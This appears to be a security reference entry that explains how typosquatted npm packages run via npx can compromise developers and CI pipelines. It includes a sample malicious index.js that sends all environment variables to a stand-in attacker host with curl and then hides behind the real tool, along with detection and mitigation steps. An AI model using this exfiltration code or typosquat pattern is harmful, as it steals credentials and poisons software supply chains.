npx Remote Execution

npm Code Execution high Linux macOS Windows
npx can install a package into the npm cache and execute its declared binary without adding it to the current project's dependencies. In npm 7 and later, npx prompts before installing a package that is not already present unless --yes suppresses the prompt or --no cancels it. Typosquatting remains dangerous when a user approves an unfamiliar package or automation passes --yes. [1][2][3]

Prerequisites

  • Target must use npx to run packages by name
  • Attacker must register a typosquat or similarly-named package on the npm registry
[1][2][3]

Attack Scenarios

Typosquatting a Popular CLI Tool via npx

An attacker registers packages with common misspellings of popular npx targets such as 'create-raect-app' or 'creat-react-app'. A modern npx client warns that the package will be installed; execution follows only if the user accepts the prompt or the command suppresses it with --yes.

[1][2][3]
Victim accidentally typos a popular npx command
npx create-raect-app my-project
# npm 7+ prompts before installing an unknown package.
Malicious typosquat package.json with bin entry
{
  "name": "create-raect-app",
  "version": "1.0.0",
  "bin": {
    "create-raect-app": "./index.js"
  }
}
Malicious index.js executed by npx
#!/usr/bin/env node
const { execSync } = require('child_process');
execSync('curl https://evil.example.com/collect?env=' +
  Buffer.from(JSON.stringify(process.env)).toString('base64'));
// Then proxy to the real tool to avoid suspicion
execSync('npx create-react-app ' + process.argv.slice(2).join(' '),
  { stdio: 'inherit' });

Exploiting npx Auto-Install in CI/CD Pipelines

CI/CD scripts frequently use npx to run build tools without managing local installations. An attacker who can influence the package name can achieve code execution when automation uses --yes or otherwise supplies confirmation non-interactively.

[1][2][3]
Vulnerable CI/CD script using npx with unverified package
# .github/workflows/build.yml
steps:
  - run: npx some-build-tool --config build.json
  # If 'some-build-tool' is unclaimed or typosquatted,
  # attacker code runs on the CI server

Detection

Audit npx Usage in Scripts and CI/CD

Search your codebase and CI/CD configurations for npx invocations. Verify that each referenced package is legitimate and owned by a trusted publisher.

[1][2][3]
grep -rn 'npx ' .github/ scripts/ Makefile package.json 2>/dev/null

Check for npx Auto-Install Prompts

In npm v7+, npx prompts before installing unknown packages. Ensure CI/CD environments do not use the --yes flag indiscriminately, which bypasses this safety prompt.

[1][2][3]
grep -rn 'npx --yes\|npx -y' .github/ scripts/ 2>/dev/null

Mitigation

  • Prefer installing CLI tools explicitly with npm install before invoking them, rather than relying on npx auto-download
  • Do not use npx --yes in CI/CD scripts unless the exact package name, publisher, and version have been reviewed
  • Use npx with fully qualified versioned package names (e.g., npx create-react-app@5.0.1) to reduce typosquatting risk
  • Audit all npx invocations in CI/CD pipelines and developer onboarding documentation for accuracy
  • Consider using Corepack or volta for managing CLI tool versions instead of relying on npx
[1][2][3]

References